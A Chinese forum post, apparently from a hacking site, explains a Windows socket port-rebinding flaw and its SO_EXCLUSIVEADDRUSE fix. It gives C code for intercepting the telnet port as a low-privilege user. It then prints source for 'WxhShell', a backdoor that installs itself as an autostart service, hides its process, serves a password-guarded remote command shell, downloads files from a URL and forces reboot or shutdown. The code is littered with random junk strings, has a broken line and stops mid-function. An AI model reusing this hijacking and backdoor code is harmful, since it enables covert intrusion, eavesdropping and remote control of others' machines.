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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -1 FPkp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'ZT^PV \  
bmJ5MF]_fG  
  saddr.sin_family = AF_INET; V\t.3vT  
6{x(.=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qT ,Te  
b+,' ;bW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wL;l Q&  
^2+yHw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 48c1gUw oP  
Fa?~0H/DL  
  这意味着什么?意味着可以进行如下的攻击: 7/!8e.M\  
%Da8{%{`Pc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?<V?wsp  
rw: c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .}&` TU  
Cf TfL3(J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ao%NK<Lt  
?: N @!jeJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <nE>XAI_7  
SFO({w(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5Ec6),+&  
_  <WJ7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,.rs(5.z8/  
?6yjy<D)$e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [ OM7g'?S0  
,ek_R)&[o  
  #include d_CKP"TA  
  #include RLw;(*(g  
  #include =5Q]m6-SgV  
  #include    }#.L7SIJ<J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "*m_> IU  
  int main() $8;R[SU6Y  
  { QFw  +cy  
  WORD wVersionRequested; J]v%q,"  
  DWORD ret; [ p{#XwN  
  WSADATA wsaData; X<i^qoV  
  BOOL val; (0j}-iaQEZ  
  SOCKADDR_IN saddr; 1>*#%R?W  
  SOCKADDR_IN scaddr; gGr^@=;YC  
  int err; ;-9=RI0  
  SOCKET s; *i]=f6G  
  SOCKET sc; }'""(,2  
  int caddsize; mFg<dTx0c8  
  HANDLE mt; 1KMLG=  
  DWORD tid;   ZNf6;%oGG  
  wVersionRequested = MAKEWORD( 2, 2 ); WP?TX b`5  
  err = WSAStartup( wVersionRequested, &wsaData ); uv=.2U46  
  if ( err != 0 ) { d`P7}*; `  
  printf("error!WSAStartup failed!\n"); }lh I\q  
  return -1; FuVnk~gq  
  } _&N2'hG=sn  
  saddr.sin_family = AF_INET; N"8_S0=pw  
   AmaT0tzJC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 whpfJNz  
{XNREjhm  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CsTF  
  saddr.sin_port = htons(23); fG}tMSI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _z'u pb&  
  { ~p1j`r;  
  printf("error!socket failed!\n"); v5By:z  
  return -1; 7[I}*3Q'  
  } ;u;#g  
  val = TRUE; JQV%fTHS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 94+KdHAo^M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `wus\&!W  
  { 2W/?q!t  
  printf("error!setsockopt failed!\n"); .C&ktU4  
  return -1; 9A} # 6  
  } \=uKHNP?#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7]9 a<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Pdt6nzfr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0}$Hi  
_{r=.W+ w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nyBJb(5"B  
  { L%Ow#.[C2  
  ret=GetLastError(); VCn{mp*h  
  printf("error!bind failed!\n"); >+]_5qc  
  return -1; zY,r9<I8_x  
  } p /#$io  
  listen(s,2); _h X]%  
  while(1) c:-!'l$ !  
  { ;\lW5ZX  
  caddsize = sizeof(scaddr); mMb'@  
  //接受连接请求 P5 K' p5}#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e '2F#  
  if(sc!=INVALID_SOCKET) D+]a.& {p  
  { qjf[zF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GG@ md_  
  if(mt==NULL) Ttxqf:OMf  
  { 6 G3\=)  
  printf("Thread Creat Failed!\n"); MxGu>r  
  break; E_8\f_%wK  
  } s<oNE)xe  
  } r:F  
  CloseHandle(mt); GlbySD@  
  } O [i#9)  
  closesocket(s); ?gJy3@D  
  WSACleanup(); hjIT_{mk  
  return 0; \ C+(~9@|  
  }   c0hwc1kv-  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4?-.Z UT-1  
  { =0G!f$7^i  
  SOCKET ss = (SOCKET)lpParam; N 5i+3&  
  SOCKET sc; =!`j7#:  
  unsigned char buf[4096]; w9, iq@  
  SOCKADDR_IN saddr; /c2w/+ _  
  long num; |!"2fI  
  DWORD val; GDD '[;  
  DWORD ret; Y7vA`kjD-C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zf'TJ `S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tI7:5Cm  
  saddr.sin_family = AF_INET; cG?cUw).E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0#ClWynjRO  
  saddr.sin_port = htons(23); J41G&$j(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |7X:TfJ  
  { Hd,p!_  
  printf("error!socket failed!\n"); ^NX"sM0g  
  return -1; xA9:*>+>  
  }  b^p"|L  
  val = 100; N_pJk2E  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D<Z p!J1o  
  { oiX+l5`pz  
  ret = GetLastError(); tl><"6AIP  
  return -1; Clh!gpB c  
  } 1[jb)j1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (y M^  
  { BM(]QUxRd  
  ret = GetLastError(); sgO'wXcoP  
  return -1; 7}vg.hmZ  
  } *&d<yJM`b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u-tQ9ioKC  
  { [-)r5Dsdq  
  printf("error!socket connect failed!\n"); 6$ Gep  
  closesocket(sc); 40|,*wi  
  closesocket(ss); 1}tbH[  
  return -1; Tp0bS  
  } 5cEcTJL[C  
  while(1) VMCLHpSfW  
  { ({NAMc*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dlG=Vq&Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j S]><rm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =IUUeFv +r  
  num = recv(ss,buf,4096,0); _>v<(7  
  if(num>0) z^GDJddG  
  send(sc,buf,num,0); Dgx8\~(E'  
  else if(num==0) !vk|<P1  
  break; <}sq?Sfq!  
  num = recv(sc,buf,4096,0); g7&9"  
  if(num>0) La@ +>  
  send(ss,buf,num,0); hAm`NJMSO  
  else if(num==0) P0$e~=Q^4  
  break; #rY sj-2  
  } Rcawc Y  
  closesocket(ss); 8Th` ]tI  
  closesocket(sc); #Jna6  
  return 0 ; on8WQf'A#  
  } NHl|x4Zpw  
hRq3C1 mR  
[Tnsr(Z  
========================================================== 1Jj Y!  
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下边附上一个代码,,WXhSHELL /[9t`  
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========================================================== B}eA\O4}I  
z.6$W^  
#include "stdafx.h" >/#KI~}'N  
VOr1  
#include <stdio.h> NBF MN%  
#include <string.h> OKHX)"j\\  
#include <windows.h> A"aV'~>  
#include <winsock2.h> iA,kX\nK  
#include <winsvc.h> 8&Myva  
#include <urlmon.h> E( h<$w8s  
DaH?@Q  
#pragma comment (lib, "Ws2_32.lib") n3lE, b  
#pragma comment (lib, "urlmon.lib") (o J9k[(  
$46{<4.  
#define MAX_USER   100 // 最大客户端连接数 X{^}\,cVtG  
#define BUF_SOCK   200 // sock buffer < Z|Ep1W  
#define KEY_BUFF   255 // 输入 buffer a,o_`s<  
;r /;m\V  
#define REBOOT     0   // 重启 xP=/N!,#  
#define SHUTDOWN   1   // 关机 0A:n0[V:]  
@VN&t:/l  
#define DEF_PORT   5000 // 监听端口 fgj^bcp-  
!;Jmg  
#define REG_LEN     16   // 注册表键长度 HAYMX:%  
#define SVC_LEN     80   // NT服务名长度 YUf1N?z  
2qi'g:qe  
// 从dll定义API {T'GQz+R"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;Efcw[<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cV-1?h63  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{v8q)5r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h8 G5GRD  
>\ u<&>i  
// wxhshell配置信息 __@zTSVb  
struct WSCFG { 9e U[*S  
  int ws_port;         // 监听端口 f(D_FTTO  
  char ws_passstr[REG_LEN]; // 口令 J4=_w  
  int ws_autoins;       // 安装标记, 1=yes 0=no lZ&]|*>  
  char ws_regname[REG_LEN]; // 注册表键名 &t(0E:^TRU  
  char ws_svcname[REG_LEN]; // 服务名 93IFcmO.H@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7B3w\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O8U<{jgAG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jxgj,h"}9`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lz DI0a.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,&HR(jTo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YHV-|UNF  
q EUT90  
}; O;HY%  
qP!P +'B  
// default Wxhshell configuration CJaKnz  
struct WSCFG wscfg={DEF_PORT, QIB>rQCceo  
    "xuhuanlingzhe", ~e@>zoM'^  
    1, MYe HS   
    "Wxhshell", 5~XN>>hp  
    "Wxhshell", ]+DI.%   
            "WxhShell Service", RE3Z%;'  
    "Wrsky Windows CmdShell Service", = \ , qP  
    "Please Input Your Password: ", qJR!$?  
  1, s,*c@1f?  
  "http://www.wrsky.com/wxhshell.exe", ]>i~6!@  
  "Wxhshell.exe" ,%#   
    }; t j Vh^  
T:asm1BC[  
// 消息定义模块 T_<BVM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t@?u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N?4q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9O,,m~B  
char *msg_ws_ext="\n\rExit."; o=fgin/E\  
char *msg_ws_end="\n\rQuit."; oh#N 0 0X  
char *msg_ws_boot="\n\rReboot..."; oCi ~P}r  
char *msg_ws_poff="\n\rShutdown..."; 2 4\g bv<  
char *msg_ws_down="\n\rSave to "; )wzV $(~  
!{_yaVF  
char *msg_ws_err="\n\rErr!"; E^ h=!RW{  
char *msg_ws_ok="\n\rOK!"; Y^ve:Z  
KT*:F(4`  
char ExeFile[MAX_PATH]; \ SCy$,m  
int nUser = 0; N1--~e  
HANDLE handles[MAX_USER]; 0_<Nc/(P  
int OsIsNt; r;cV&T/?  
NSLVD[yT  
SERVICE_STATUS       serviceStatus; v$|mo;6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z&yaSB  
h!]"R<QQdu  
// 函数声明 2O""4_G  
int Install(void); %I4zQiJ%  
int Uninstall(void); d}0qJoH4  
int DownloadFile(char *sURL, SOCKET wsh); 8LM #WIm?  
int Boot(int flag); E%k7wM {  
void HideProc(void); ddpl Pzm#  
int GetOsVer(void); CUmH,`hu  
int Wxhshell(SOCKET wsl); \MYU<6{u  
void TalkWithClient(void *cs); z)L}ECZh9  
int CmdShell(SOCKET sock); jD< pIHau  
int StartFromService(void); ' lo.h""  
int StartWxhshell(LPSTR lpCmdLine); qJs[i>P[W  
KjR4=9MD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); . 5hp0L}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ] V G?+  
[Z }B"  
// 数据结构和表定义 2)LX^?7R  
SERVICE_TABLE_ENTRY DispatchTable[] = 2>y:N.  
{ |+EKF.K  
{wscfg.ws_svcname, NTServiceMain}, {/UhUG  
{NULL, NULL} $AwZ2HY  
}; LDX*<(  
pzEABA   
// 自我安装 W%8+t)  
int Install(void) ?n*fy  
{ ,Aa|Bd]b  
  char svExeFile[MAX_PATH]; )A83A<~  
  HKEY key; d(l|hmj4j9  
  strcpy(svExeFile,ExeFile); i,OKf Xp  
Zc\S$+PM  
// 如果是win9x系统,修改注册表设为自启动 K\sbt7~  
if(!OsIsNt) { Y+|PY? ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^CQ1I0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Cj_B\  
  RegCloseKey(key); [h", D5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9.8,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <9 },M  
  RegCloseKey(key); YC)hX'A\  
  return 0; 5'9.np F)  
    } qc-C>Ra  
  } |Y{PO&-?r  
} +u#Sl)F  
else { twv lQ|  
u%aFb*  
// 如果是NT以上系统,安装为系统服务 Ki 3_N*z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !rHx}n{rw  
if (schSCManager!=0) 00qZw?%K  
{ z@`@I  
  SC_HANDLE schService = CreateService Z!)f*  
  ( NEg>lIu<~  
  schSCManager, |KaR n;BM  
  wscfg.ws_svcname, XW:%vJu^`  
  wscfg.ws_svcdisp, x~(y "^ph  
  SERVICE_ALL_ACCESS, )8]3kQffJ=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y{;u@o?T  
  SERVICE_AUTO_START, u2,H ]-  
  SERVICE_ERROR_NORMAL, H oS|f0  
  svExeFile, 4]u,x`6C  
  NULL, eEie?#Z/6  
  NULL, KT%{G8Y@M  
  NULL, NCxn^$/+>9  
  NULL, kraVL%72  
  NULL u!u5g.Q  
  ); +yIL[D  
  if (schService!=0) -PXoMZx%  
  { omT(3)TP  
  CloseServiceHandle(schService); mQnL<0_<f  
  CloseServiceHandle(schSCManager); s/PhXf\MN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BWohMT  
  strcat(svExeFile,wscfg.ws_svcname); y\z*p&I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GM77Z.Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $&Ac5Zo%}  
  RegCloseKey(key); ?0m?7{  
  return 0; YkVRl [  
    } m/KjJ"s,  
  } ~Q_F~0y  
  CloseServiceHandle(schSCManager); c-|kv[\a  
} }eI`Qg  
} +yiU@K).0  
rF'<r~Lw  
return 1; *n;>p_#  
} 9G+y.^/6  
;i}i5yv2  
// 自我卸载 u5/t2}^T  
int Uninstall(void) K^8@'#S  
{ 3 ^pYC K%  
  HKEY key; RpULm1b  
{dDq*sLf  
if(!OsIsNt) { { q})kO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # UjEY9"M  
  RegDeleteValue(key,wscfg.ws_regname); > Z]P]e  
  RegCloseKey(key); qih6me8C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 L*+8a  
  RegDeleteValue(key,wscfg.ws_regname); iq,ah"L  
  RegCloseKey(key); S'|lU@P Cl  
  return 0; 3V"dG1?  
  } hl*MUD,  
} X1O65DMr`g  
} +J%6bn)U  
else { l<s :%%CX  
QZ#3Bn%B5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8u/3?Kc  
if (schSCManager!=0) >}70]dN7b  
{ >'ie!VW@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pu1GCr(  
  if (schService!=0) sw[<VsxjR  
  { YmZC?x_{M2  
  if(DeleteService(schService)!=0) { $#F;xys  
  CloseServiceHandle(schService); is64)2F](  
  CloseServiceHandle(schSCManager); r$94J'_  
  return 0; 8u4gx<;O  
  } 3D{82*&  
  CloseServiceHandle(schService); G[ ,,L  
  } Tw?Pp8'  
  CloseServiceHandle(schSCManager); "r:H5) !  
} 5dbX%e_OP  
} b(g_.1[  
GH [ U!J  
return 1; J11dqj  
} Bidqf7v  
L~'^W/N  
// 从指定url下载文件 l_UXrnm/N  
int DownloadFile(char *sURL, SOCKET wsh) _HSTiJVr  
{ Sn;/;^@(\  
  HRESULT hr; @hE7r-}]  
char seps[]= "/"; KteZK.+#:  
char *token; d w|-=~  
char *file; N )b|  
char myURL[MAX_PATH]; iuvtj]/  
char myFILE[MAX_PATH]; de3yP,  
fx8y`8}_  
strcpy(myURL,sURL); T2c_vY   
  token=strtok(myURL,seps); 8A`p  
  while(token!=NULL) |;x fe"]  
  { 'XC&BWJ  
    file=token; w*|=k~z  
  token=strtok(NULL,seps); PM#$H  
  } eH"qI2A  
A>rWGo.{E  
GetCurrentDirectory(MAX_PATH,myFILE); hlABu)B'1  
strcat(myFILE, "\\"); CDwFVR'_Af  
strcat(myFILE, file); -f-O2G=  
  send(wsh,myFILE,strlen(myFILE),0); wj5qQ]WC  
send(wsh,"...",3,0); '@3a,pl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kt/+PS  
  if(hr==S_OK) WrIL]kJw^  
return 0; mmpr]cT@'k  
else 5bGjO&$l  
return 1; b a1$kU  
/e j/&x15  
} 4EaS g#  
R &1mo  
// 系统电源模块 L*SSv wSL  
int Boot(int flag) zx_O"0{5  
{ H L}sqcp  
  HANDLE hToken; <MWXew7b  
  TOKEN_PRIVILEGES tkp; S1x.pLHj8  
5;sQ@  
  if(OsIsNt) { xqi*N13  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n '0 $>Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )$Dcrrj  
    tkp.PrivilegeCount = 1; ib""Fv7{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FJwZo}<6E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f3%^-Uy*b  
if(flag==REBOOT) { +cE tm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >TQBRA;'  
  return 0; + 8K1]'t$  
} 08d_DCR  
else {  i?i7T`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a|6x!p2X  
  return 0; ftI+#0?[!  
} 8KL_PwRX_f  
  }  HN~v&,  
  else { KWn1%oGJ  
if(flag==REBOOT) { >b!X&JU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -'p@ lk  
  return 0; HHu7{,  
} *n|0\V<  
else { 5qtmb4R~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &T|&D[@  
  return 0; 'Kso@St`o  
} h<^:Nn  
} u6S0t?Udap  
|q.:hWYFpM  
return 1; r~D~7MNl  
} sY;gh`4h  
fj t_9-.  
// win9x进程隐藏模块 ]Re~V{uh  
void HideProc(void) ?:''VM.  
{ +^&v5[$R  
i\Q"a B"r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D`~{[cv)\  
  if ( hKernel != NULL ) ?lwQne8/  
  { /@nRL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y!6:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /4B4IT  
    FreeLibrary(hKernel); FG5c:Ep  
  } <Ec)m69P  
}jY[| >z  
return; Zqs-I8y  
} X,Q=n2X?3  
L5k>;|SA  
// 获取操作系统版本 ^3)2]>pW  
int GetOsVer(void) %`\_l  
{ !|:q@|- %@  
  OSVERSIONINFO winfo; $@qs(Xwr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j.'"CU  
  GetVersionEx(&winfo); xE-c9AH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o(>-:l i0  
  return 1; ]z q_gV8k  
  else ,S0~:c:)  
  return 0; zI:5I@ X  
} $t H.np  
FeeWZe0i  
// 客户端句柄模块 \;:@=9`  
int Wxhshell(SOCKET wsl) eW*ae;-  
{ !4,xQ ^   
  SOCKET wsh; ic]tUOC:  
  struct sockaddr_in client; (F '  
  DWORD myID; <&0*5|rR  
Ce'2lo  
  while(nUser<MAX_USER) cYwC,\ uF  
{ j _9<=Vu  
  int nSize=sizeof(client); P~ pbx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i[\u-TF  
  if(wsh==INVALID_SOCKET) return 1; o4 g  
$~@096`QL<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U4L=3T+:[  
if(handles[nUser]==0) ~5!TV,>ls  
  closesocket(wsh); s&`XK$p  
else MirBJL  
  nUser++; W>wi;Gf#  
  } g7z9i[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^?]H$e  
HWfX>Vf>}k  
  return 0; N5Mz=UgB  
} ~rX6owBq  
5"~^;O  
// 关闭 socket \Y[)bo6s  
void CloseIt(SOCKET wsh) w:zC/5x`  
{ 49fq6ZhO  
closesocket(wsh); khIa9Nm  
nUser--; 3X,{9+(F  
ExitThread(0); ~tuFjj^  
} M>gZVB,eP>  
"}+/ 0$F  
// 客户端请求句柄 GFa/9Bi  
void TalkWithClient(void *cs) KL"L65g&  
{ \\Tp40m+  
X@q1;J  
  SOCKET wsh=(SOCKET)cs; "I FGW4FnL  
  char pwd[SVC_LEN]; '0$[Ujc  
  char cmd[KEY_BUFF]; 10IPq#Jj  
char chr[1]; "$pg mf2  
int i,j; rg/vxTl  
S)|b%mVwR  
  while (nUser < MAX_USER) { <1.mm_pw  
2vQ^519  
if(wscfg.ws_passstr) { (+ anTA=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .LR>&N_U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " z'!il#  
  //ZeroMemory(pwd,KEY_BUFF); 4F6o  
      i=0; u*N8s[s'  
  while(i<SVC_LEN) { {~I_rlo n  
#zs\Z]3#  
  // 设置超时 oa !P]r  
  fd_set FdRead; -JK4-Hg  
  struct timeval TimeOut; 3F!+c 8e  
  FD_ZERO(&FdRead); f.^w/ GJO/  
  FD_SET(wsh,&FdRead); [V0h9!  
  TimeOut.tv_sec=8; !r0P\  
  TimeOut.tv_usec=0; Y{tuaBzD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vGT.(:\-,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {K8T5zrV  
j!7Uj]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !OgoV22  
  pwd=chr[0]; 5K~6`  
  if(chr[0]==0xd || chr[0]==0xa) { <U pjAuG8  
  pwd=0; (C@@e'e  
  break; TJ:Lz]l >  
  } 26K~m@  
  i++; >;W(Jb7e  
    } UOOme)\>  
R,1,4XT  
  // 如果是非法用户,关闭 socket wwn}enEz,x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Sh5W%NM  
} Dx'e+Bm  
y8z%s/gRh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]#n4A|&H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `,d7_#9'  
 c @fc7  
while(1) { B4aZ3.&W  
`oBzt |f5  
  ZeroMemory(cmd,KEY_BUFF); EdpR| z  
p]4 sN  
      // 自动支持客户端 telnet标准   pASVnXJZ  
  j=0; p#2th`M:P1  
  while(j<KEY_BUFF) { P7-3Vf_L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e,8-P-h~T  
  cmd[j]=chr[0]; 7!%"8Rl-  
  if(chr[0]==0xa || chr[0]==0xd) { kM`#U *j  
  cmd[j]=0; aa/9o ]  
  break; z?,5v`,t2  
  } mM.&c5U  
  j++; y{JkY\g  
    } &=bI3-  
/$(D>KU  
  // 下载文件 DAW%?(\,  
  if(strstr(cmd,"http://")) { G\%hT5^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _wCSL.  
  if(DownloadFile(cmd,wsh)) Lt_]3g o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @HI5; z  
  else h# 8b#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S# #W_OlrI  
  } gp=0;#4 4  
  else { RMK U5A7  
#SueT"F  
    switch(cmd[0]) { k W,|>  
  M .,|cx  
  // 帮助 mLE`IKgd]  
  case '?': { > R=YF*t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {y'k wU  
    break;  >pKI'  
  } t At+5H  
  // 安装 GCHssw~P'v  
  case 'i': { $G3P3y: [  
    if(Install()) ^-ZqS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q"O _h  
    else ;G$FLL1   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [z\*Zg  
    break; YC~+r8ME$j  
    } &D:88   
  // 卸载 b11C3TyQT  
  case 'r': { @ 55Y2  
    if(Uninstall()) +Ji dP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eo!z>9#.  
    else !SnpesTn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _N6GV$Q  
    break; "TPMSx&Ei  
    } R-ci?7dt3  
  // 显示 wxhshell 所在路径 ]P.S5s'  
  case 'p': { ;I>`!|mT  
    char svExeFile[MAX_PATH]; Liofv4![  
    strcpy(svExeFile,"\n\r"); #]rw@c  
      strcat(svExeFile,ExeFile); H X8q+  
        send(wsh,svExeFile,strlen(svExeFile),0); [eImP V]  
    break; XZhhr1-<a  
    } ,~v1NK*  
  // 重启 ||qW'kNWM  
  case 'b': { q07>FW R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )j](_kvK  
    if(Boot(REBOOT)) ?pFHpz   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - 0zo>[c/p  
    else { 1*Z}M%  
    closesocket(wsh); yDPek*#^"q  
    ExitThread(0); 6`'^$wKs  
    } Y#\e~>K  
    break; q;rU}hAzG0  
    } s:%>H|-  
  // 关机 il: ""x7^y  
  case 'd': { }G]]0Oi2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ou/{PK}  
    if(Boot(SHUTDOWN)) uy$o%NL-7  
